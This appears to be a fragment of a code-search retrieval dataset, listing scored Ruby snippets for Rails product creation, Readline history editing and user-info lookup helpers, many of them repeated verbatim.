"text": "def create\n product = Product.new(\n name: params[:name],\n price: params[:price],\n description: params[:description],\n supplier_id: params[:supplier_id]\n )\n if product.save\n render json: {message: 'created successfully'}, status: :created\n else\n render json: {errors: product.errors.full_messages}, status: :bad_request\n end\n end",
"title": ""
},
{
"docid": "ee1d6035584368f1349fbfb046c07494",
"score": "0.6905956",
"text": "def create\n @product = Product.find(params[:product_id])\n\n render json: {success: true}, status: :ok if @cart.add_product(@product)\n end",
"title": ""
},
{
"docid": "215fd12574c54e9c6fd57d1cdd804ee1",
"score": "0.68920267",
"text": "def create\n @product = Product.new(product_params)\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c44e2bd9175c9ecabde5c8e87fae037a",
"score": "0.68896544",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n # format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n # format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c56b31e4757193e69536fb8379472648",
"score": "0.6889377",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4b0f1c45d79538fc9d24132e7766d76b",
"score": "0.68892425",
"text": "def create\n @product = Product.create(product_params)\n respond_with(@product)\n end",
"title": ""
},
{
"docid": "a008bb375081ce909b6b07f91c072c69",
"score": "0.6888921",
"text": "def create\n @product = Product.new(product_params)\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dc77ced2a4df342776da0dcc889cb8f8",
"score": "0.6886437",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6b9ee5b586e2585ec206d58450f4641c",
"score": "0.6881634",
"text": "def create\n @product = Product.new(product_params)\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
72add5dfc19a6a8229549dc7ff134cb0
|
Yank the COUNTth argument from the previous history line.
|
[
{
"docid": "9c9b18671c54186cc581afcb5b0e307f",
"score": "0.579124",
"text": "def rl_yank_nth_arg(count, ignore)\r\n rl_yank_nth_arg_internal(count, ignore, 0)\r\n end",
"title": ""
}
] |
[
{
"docid": "f3824eb9646686f93fd11a07372cfa86",
"score": "0.66047436",
"text": "def rl_yank_nth_arg_internal(count, ignore, history_skip)\r\n pos = where_history()\r\n if (history_skip>0)\r\n history_skip.times { previous_history() }\r\n end\r\n entry = previous_history()\r\n history_set_pos(pos)\r\n if entry.nil?\r\n rl_ding()\r\n return -1\r\n end\r\n\r\n arg = history_arg_extract(count, count, entry.line)\r\n if (arg.nil? || arg=='')\r\n rl_ding()\r\n arg = nil\r\n return -1\r\n end\r\n\r\n rl_begin_undo_group()\r\n\r\n _rl_set_mark_at_pos(@rl_point)\r\n\r\n # Vi mode always inserts a space before yanking the argument, and it\r\n # inserts it right *after* rl_point.\r\n if (@rl_editing_mode == @vi_mode)\r\n rl_vi_append_mode(1, ignore)\r\n rl_insert_text(\" \")\r\n end\r\n\r\n rl_insert_text(arg)\r\n arg = nil\r\n rl_end_undo_group()\r\n return 0\r\n end",
"title": ""
},
{
"docid": "dd258cffbb3502e6cfc5f834556f533f",
"score": "0.63933283",
"text": "def rl_end_of_history(count, key)\r\n rl_maybe_replace_line()\r\n using_history()\r\n rl_maybe_unsave_line()\r\n 0\r\n end",
"title": ""
},
{
"docid": "792d800b1e89756b3475586345bf39b3",
"score": "0.60427356",
"text": "def rl_yank_pop(count, key)\r\n if (((@rl_last_func != :rl_yank_pop) && (@rl_last_func != :rl_yank)) ||\r\n @rl_kill_ring.nil?)\r\n _rl_abort_internal()\r\n return -1\r\n end\r\n\r\n l = @rl_kill_ring[@rl_kill_index].length\r\n n = @rl_point - l\r\n if (n >= 0 && @rl_line_buffer[n,l] == @rl_kill_ring[@rl_kill_index][0,l])\r\n rl_delete_text(n, @rl_point)\r\n @rl_point = n\r\n @rl_kill_index-=1\r\n if (@rl_kill_index < 0)\r\n @rl_kill_index = @rl_kill_ring_length - 1\r\n end\r\n rl_yank(1, 0)\r\n return 0\r\n else\r\n _rl_abort_internal()\r\n return -1\r\n end\r\n end",
"title": ""
},
{
"docid": "48f834afb4d4b14d71cf668d010bc6d0",
"score": "0.60330504",
"text": "def count=(_); end",
"title": ""
},
{
"docid": "ef097379a78037668046a39cd66fcfad",
"score": "0.60311055",
"text": "def count\n @history.objects.find { |o| o.name == \"count\" }.val\n end",
"title": ""
},
{
"docid": "24f4896aceb8bc1bd9f34f81a703e041",
"score": "0.5975747",
"text": "def count=(_arg0); end",
"title": ""
},
{
"docid": "774b67a6037c0fb4de7802439634a5b7",
"score": "0.595939",
"text": "def add_to_search_history(*args)\n super\n\n session[:history_counter] ||= 0\n session[:history_counter] += 1\n end",
"title": ""
},
{
"docid": "5d363a4b879aa75ea6be10ef07c49e67",
"score": "0.5952491",
"text": "def rl_yank(count, ignore)\r\n if @rl_kill_ring.nil?\r\n _rl_abort_internal()\r\n return -1\r\n end\r\n _rl_set_mark_at_pos(@rl_point)\r\n rl_insert_text(@rl_kill_ring[@rl_kill_index])\r\n 0\r\n end",
"title": ""
},
{
"docid": "6b647e7edbf9d516027870ea00265e5c",
"score": "0.5952104",
"text": "def count\n raw_history['num_results']\n end",
"title": ""
},
{
"docid": "119a6730338abbba28d6f8d8c5828bf6",
"score": "0.5879845",
"text": "def add_to_count\n @count += 1\n end",
"title": ""
},
{
"docid": "ee80949fe151543c24ef7c921352ac5d",
"score": "0.5840694",
"text": "def rl_undo_command(count, key)\r\n if (count < 0)\r\n return 0 # Nothing to do.\r\n end\r\n while (count>0)\r\n if (rl_do_undo())\r\n count-=1\r\n else\r\n rl_ding()\r\n break\r\n end\r\n end\r\n 0\r\n end",
"title": ""
},
{
"docid": "9af36f5f1e463f64cb073ddeefe74df3",
"score": "0.57409966",
"text": "def rl_beginning_of_history(count, key)\r\n rl_get_previous_history(1 + where_history(), key)\r\n end",
"title": ""
},
{
"docid": "48b2f2e59054217db34c5b03d95564dc",
"score": "0.56891215",
"text": "def unstifle_history()\r\n if (@history_stifled)\r\n @history_stifled = false\r\n return (@history_max_entries)\r\n else\r\n return (-@history_max_entries)\r\n end\r\n end",
"title": ""
},
{
"docid": "7eed1f798b352a8c5c507a7bbcf7efa7",
"score": "0.5639408",
"text": "def count!\n count(nil)\n end",
"title": ""
},
{
"docid": "31efeac2cc40da7b3a356c14690d35d1",
"score": "0.5635281",
"text": "def max_history; end",
"title": ""
},
{
"docid": "31efeac2cc40da7b3a356c14690d35d1",
"score": "0.5635281",
"text": "def max_history; end",
"title": ""
},
{
"docid": "c66f6e6a8e6e89f3a4bab2307ef3ae69",
"score": "0.56112087",
"text": "def incr_count\n @count ||= 0\n @count += 1\n end",
"title": ""
},
{
"docid": "875854d96433bbbc143471992b87859e",
"score": "0.55852234",
"text": "def rl_get_previous_history(count, key)\r\n if (count < 0)\r\n return (rl_get_next_history(-count, key))\r\n end\r\n if (count == 0)\r\n return 0\r\n end\r\n # either not saved by rl_newline or at end of line, so set appropriately.\r\n if (@_rl_history_saved_point == -1 && (@rl_point!=0 || @rl_end!=0))\r\n @_rl_history_saved_point = (@rl_point == @rl_end) ? -1 : @rl_point\r\n end\r\n\r\n # If we don't have a line saved, then save this one.\r\n rl_maybe_save_line()\r\n\r\n # If the current line has changed, save the changes.\r\n rl_maybe_replace_line()\r\n\r\n temp = old_temp = nil\r\n while (count>0)\r\n temp = previous_history()\r\n if temp.nil?\r\n break\r\n end\r\n old_temp = temp\r\n count -= 1\r\n end\r\n\r\n # If there was a large argument, and we moved back to the start of the\r\n # history, that is not an error. So use the last value found.\r\n if (temp.nil? && old_temp)\r\n temp = old_temp\r\n end\r\n\r\n if temp.nil?\r\n rl_ding()\r\n else\r\n rl_replace_from_history(temp, 0)\r\n _rl_history_set_point()\r\n end\r\n\r\n 0\r\n end",
"title": ""
},
{
"docid": "10421e43bf4804ffc59589604a22e2f6",
"score": "0.5574317",
"text": "def hits_prev\n # see PsiBlastJob for comment\n end",
"title": ""
},
{
"docid": "22fc8ed9c358445fe2c027dbbb8d3de4",
"score": "0.5564664",
"text": "def reset_counter; end",
"title": ""
},
{
"docid": "2350a9931f626e60d530655db4022cab",
"score": "0.5547877",
"text": "def call_count ; @call_count ||= 0 end",
"title": ""
},
{
"docid": "7b745306c9f296493694ebb2744d08a5",
"score": "0.55445874",
"text": "def decrement(stat, sample_rate=1); count stat, -1, sample_rate end",
"title": ""
},
{
"docid": "2c3836a9504916f23b5549ff4baca579",
"score": "0.55312645",
"text": "def counting\n puts \"hard to do right\"\n end",
"title": ""
},
{
"docid": "cd17ba506ac7a9f59fd6443bbbf68864",
"score": "0.5522318",
"text": "def update_call_counts!(layer)\n @call_set[layer.name].update!(layer.desc)\n end",
"title": ""
},
{
"docid": "f3d7b3b28a1dc044dd5bf71c2186ad6b",
"score": "0.5510357",
"text": "def count!\n if not self.count.nil? then self.count += 1; else self.count = 1; end\n end",
"title": ""
},
{
"docid": "91e6e5f8338dfd22e91e6cba323b1b46",
"score": "0.55005175",
"text": "def count\n @count ||= 0\n @count += 1\n end",
"title": ""
},
{
"docid": "0b0519b0c391b2649514d4e0389fd8fd",
"score": "0.5499718",
"text": "def increment_click_count!\n self.increment! :click_count\n end",
"title": ""
},
{
"docid": "64550eb44247f125e78dbf3d1a6198fd",
"score": "0.5489715",
"text": "def decrement_count(current_count)\n current_count.to_i - 1\n end",
"title": ""
},
{
"docid": "5354a37027ba63d5305419ec8f48ff59",
"score": "0.5486975",
"text": "def number\n before.count + 1\n end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5478388",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5478388",
"text": "def count; end",
"title": ""
},
{
"docid": "7e4a35f1efc80ad73232e18c42a4b5c0",
"score": "0.5478388",
"text": "def count; end",
"title": ""
},
{
"docid": "07c3523da68a220c121df2be6e6a1f2a",
"score": "0.54732007",
"text": "def to count\n take count + 1\n end",
"title": ""
},
{
"docid": "e7311238c52e67dd089282c92d8564c6",
"score": "0.54659957",
"text": "def remaining_count\n raw_history['results_remaining']\n end",
"title": ""
},
{
"docid": "58e31ef1c0276ba33868ea2adb6797d6",
"score": "0.5465273",
"text": "def guess_count\n\t\t @number_of_guesses -= 1\n\tend",
"title": ""
},
{
"docid": "803eb61b4b7da38f697e4bad04796efb",
"score": "0.5461581",
"text": "def rl_get_next_history(count, key)\r\n if (count < 0)\r\n return (rl_get_previous_history(-count, key))\r\n end\r\n if (count == 0)\r\n return 0\r\n end\r\n rl_maybe_replace_line()\r\n\r\n # either not saved by rl_newline or at end of line, so set appropriately.\r\n if (@_rl_history_saved_point == -1 && (@rl_point!=0 || @rl_end!=0))\r\n @_rl_history_saved_point = (@rl_point == @rl_end) ? -1 : @rl_point\r\n end\r\n temp = nil\r\n while (count>0)\r\n temp = next_history()\r\n if temp.nil?\r\n break\r\n end\r\n count -= 1\r\n end\r\n\r\n if temp.nil?\r\n rl_maybe_unsave_line()\r\n else\r\n rl_replace_from_history(temp, 0)\r\n _rl_history_set_point()\r\n end\r\n 0\r\n end",
"title": ""
},
{
"docid": "eb2cec7c52a48e0f9cbf42da07ea90a7",
"score": "0.54264486",
"text": "def past_frequency(history)\n count = 0\n history.each do |past_board|\n count += 1 if compare_board(self, past_board)\n end\n count \n end",
"title": ""
},
{
"docid": "c3069a195b96f001f8a8897441f5f64d",
"score": "0.54066277",
"text": "def count\n @count ||= 1\n end",
"title": ""
},
{
"docid": "c3069a195b96f001f8a8897441f5f64d",
"score": "0.54066277",
"text": "def count\n @count ||= 1\n end",
"title": ""
},
{
"docid": "6194646d3ffacb4655d44df3e2c15e28",
"score": "0.5371533",
"text": "def reset_followers_count!\n self.class.update_counters id, followers_count: -followers_count\n self[:followers_count] -= followers_count\n end",
"title": ""
},
{
"docid": "4155e8f05b27c5274ed0f0c85d3c9f2b",
"score": "0.5366083",
"text": "def count\n @count ||= 0\n end",
"title": ""
},
{
"docid": "51394af49bea0281ac44d39e41ed5406",
"score": "0.5334906",
"text": "def count(count = 0)\n const_set('COUNT', count)\n end",
"title": ""
},
{
"docid": "57a94fdddb6286773d00909c476b22e6",
"score": "0.53336805",
"text": "def increment_guess_count(count)\n\treturn count += 1\nend",
"title": ""
},
{
"docid": "46310bea72b01673ee52b8c164b2b1d0",
"score": "0.5331277",
"text": "def do_something_with_my_count\r\n @my_count += 1\r\n end",
"title": ""
},
{
"docid": "d7ce46ac2a1a19ccfc52214365a4422b",
"score": "0.5317525",
"text": "def reset_hit_count\n \"0\"\n end",
"title": ""
},
{
"docid": "bce2b1ec17413112d58e91019091a6c2",
"score": "0.53164357",
"text": "def count\n @count ||= get_count\n end",
"title": ""
},
{
"docid": "75801f556dc8d56cf315a9639cbc5e1f",
"score": "0.5309039",
"text": "def goto_end_of_history\r\n end",
"title": ""
},
{
"docid": "db317f5897e725970285f938d40659ac",
"score": "0.5292599",
"text": "def count\n end",
"title": ""
},
{
"docid": "db317f5897e725970285f938d40659ac",
"score": "0.5292599",
"text": "def count\n end",
"title": ""
},
{
"docid": "8e1f66ed09533522dde5d588078803c0",
"score": "0.5288234",
"text": "def increment_count(current_count)\n current_count.to_i + 1\n end",
"title": ""
},
{
"docid": "a33a56371fc6e373def884fd21c63bf5",
"score": "0.5281853",
"text": "def total_count\n raw_history['total_results']\n end",
"title": ""
},
{
"docid": "005f339a16f96667f9a6cfbfe2b4241d",
"score": "0.52724195",
"text": "def prev_line=(_arg0); end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52714866",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52714866",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52714866",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52714866",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52714866",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52704895",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52704895",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52704895",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52704895",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52704895",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52704895",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52704895",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52704895",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52704895",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52704895",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52704895",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.52704895",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.5269974",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.5269974",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.5269974",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.5269974",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "ea1ffb6b67780393666702ed9d383c07",
"score": "0.5269974",
"text": "def set_Count(value)\n set_input(\"Count\", value)\n end",
"title": ""
},
{
"docid": "aafbc07de270002206b1b7dc268b8c97",
"score": "0.5259513",
"text": "def history=(_arg0); end",
"title": ""
},
{
"docid": "aafbc07de270002206b1b7dc268b8c97",
"score": "0.5259513",
"text": "def history=(_arg0); end",
"title": ""
},
{
"docid": "c3a20370f893d197e36110927512f819",
"score": "0.524897",
"text": "def decrement_counter(following)\n User.decrement_counter(:followings_count,following.user_id)\n User.decrement_counter(:inverse_followings_count,following.follower_id) \n end",
"title": ""
},
{
"docid": "7731e53f8e1011ab001f99840c102471",
"score": "0.5211676",
"text": "def add_hit\n @hits += 1\n :hit\n end",
"title": ""
},
{
"docid": "cf33ccc4518364d72fb79585b3e93ca2",
"score": "0.5207513",
"text": "def increment_counter\n unless self.count.nil?\n self.count += 1\n else\n self.count = 1\n end\n end",
"title": ""
},
{
"docid": "903bdc219a5c304871bdfa99da1394fb",
"score": "0.5197756",
"text": "def compress_history()\n if self.counts[actor][\"requests\"].length > self.history_length\n to_delete = self.counts[actor][\"requests\"].length - self.history_length\n self.counts[actor][\"requests\"].slice!(0..to_delete-1)\n end\n end",
"title": ""
},
{
"docid": "3dd7fae7e3a1538b37039811cde093cf",
"score": "0.5193337",
"text": "def subtract_count_on_hand(num)\n add_count_on_hand((num.to_i * -1))\n end",
"title": ""
},
{
"docid": "3dd7fae7e3a1538b37039811cde093cf",
"score": "0.5193337",
"text": "def subtract_count_on_hand(num)\n add_count_on_hand((num.to_i * -1))\n end",
"title": ""
},
{
"docid": "9bf3705d9ef87548d680eae20d766ef7",
"score": "0.51891845",
"text": "def increment_click_count\n update(click_count: click_count + 1)\n end",
"title": ""
},
{
"docid": "15dd0f5e87a1e6e8ff95f2a6070d2985",
"score": "0.51886326",
"text": "def followers_history; counter_per_day(:followers); end",
"title": ""
},
{
"docid": "abf0f0e384e82759879fc6c273947968",
"score": "0.518393",
"text": "def max_history=(length); end",
"title": ""
},
{
"docid": "abf0f0e384e82759879fc6c273947968",
"score": "0.518393",
"text": "def max_history=(length); end",
"title": ""
},
{
"docid": "68ec59bb76fa651698fa513da54c49af",
"score": "0.51828676",
"text": "def count_YZ\nend",
"title": ""
},
{
"docid": "5c15d3a9c7eace5078520ae1babf8a74",
"score": "0.5178922",
"text": "def history_added=(_arg0); end",
"title": ""
},
{
"docid": "280cae4ae3a9486c2ad156ab98c26134",
"score": "0.5175073",
"text": "def hcount\n @hcount += 1\n end",
"title": ""
},
{
"docid": "280cae4ae3a9486c2ad156ab98c26134",
"score": "0.5175073",
"text": "def hcount\n @hcount += 1\n end",
"title": ""
},
{
"docid": "bef6bb32f383db5dfdafb6da0861988b",
"score": "0.5170247",
"text": "def change_like_count\n activity_object.decrement(:like_count).save\n end",
"title": ""
},
{
"docid": "8571b42c82349f1d804469e789b6e233",
"score": "0.5168403",
"text": "def count\n @count || first[N]\n end",
"title": ""
},
{
"docid": "09304f26602342332229e2a0ecf9d083",
"score": "0.5165068",
"text": "def set_count(count)\n @count = count\n self\n end",
"title": ""
},
{
"docid": "78af73a72dcb7d67f356a069dde78190",
"score": "0.51590854",
"text": "def add_count(count)\r\n counter = Count.find(:first, :conditions => [\"countable_id = ? and countable_type = ?\", count.countable_id, self.type.name ])\r\n if counter.nil?\r\n counts << count \r\n else\r\n counter.update_attribute(:count, counter.count + 1)\r\n end\r\n end",
"title": ""
},
{
"docid": "0a8e901e9a022a48e1f75f27b8fe3094",
"score": "0.5159074",
"text": "def cmd_history argv\n setup argv\n msg run_cmd(\"history\")\n end",
"title": ""
},
{
"docid": "033cae8c2df6d1f0de9544c236bd103a",
"score": "0.5153612",
"text": "def dec_count\n role = self.role == 'Manager' ? :manager_count : :employee_count\n self.company.count.update_attribute(role, self.company.count.read_attribute(role)-1)\n end",
"title": ""
},
{
"docid": "0c110879af131ee7833c7ec17f2de6e2",
"score": "0.51535726",
"text": "def visited!\n self.count = self.count.to_i + 1\n self.last_used = Time.now\n save!\n end",
"title": ""
},
{
"docid": "8db4425f28bad87b02fae67f837b4933",
"score": "0.51527584",
"text": "def count_down(num)\n p num;\n count_down(num - 1)\n end",
"title": ""
},
{
"docid": "aa8c6ff243d1dc6df988289f9dfb638c",
"score": "0.5145132",
"text": "def statsd_remove_count(method, name)\n remove_from_method(method, name, :count)\n end",
"title": ""
},
{
"docid": "ecd7d0a620d51e91008ec1ea51382c9d",
"score": "0.51414233",
"text": "def /(other)\n other ? (history & other.history).length - (history | other.history).length : 0\n end",
"title": ""
}
] |
3c578b918a0ab54f649ef0e186b98c4b
|
Returns a hash of user info if logged in to Wordpress, or nil otherwise.
|
[
{
"docid": "49aace58ce2f5f6af13fd1c292c16f3f",
"score": "0.79130304",
"text": "def get_wordpress_user_info\n\t\t\tif wordpress_cookie\n\t\t\t\tresponse = HTTParty.get(\"#{WORDPRESS_AUTH_URL}?cookie=#{URI.encode(wordpress_cookie)}\")\n\t\t\t\treturn JSON.parse(response.body) if response.code == 200\n\t\t\tend\n\t\t\treturn nil\n\t\tend",
"title": ""
}
] |
[
{
"docid": "95cbf717d7703f75734f9e969b6487b2",
"score": "0.68474793",
"text": "def user_info\n auth_hash['user_info']\n end",
"title": ""
},
{
"docid": "3ddc27b73efb3f9923d4b016d648b922",
"score": "0.6518528",
"text": "def userinfo\n unless defined?(@userinfo)\n @userinfo = solr_url.userinfo if solr_url\n user = user_configuration_from_key('solr', 'user')\n pass = user_configuration_from_key('solr', 'pass')\n @userinfo ||= [ user, pass ].compact.join(\":\") if user && pass\n @userinfo ||= default_userinfo\n end\n @userinfo\n end",
"title": ""
},
{
"docid": "ea8ccf6b93724d0e75101c46ea744ca5",
"score": "0.64422774",
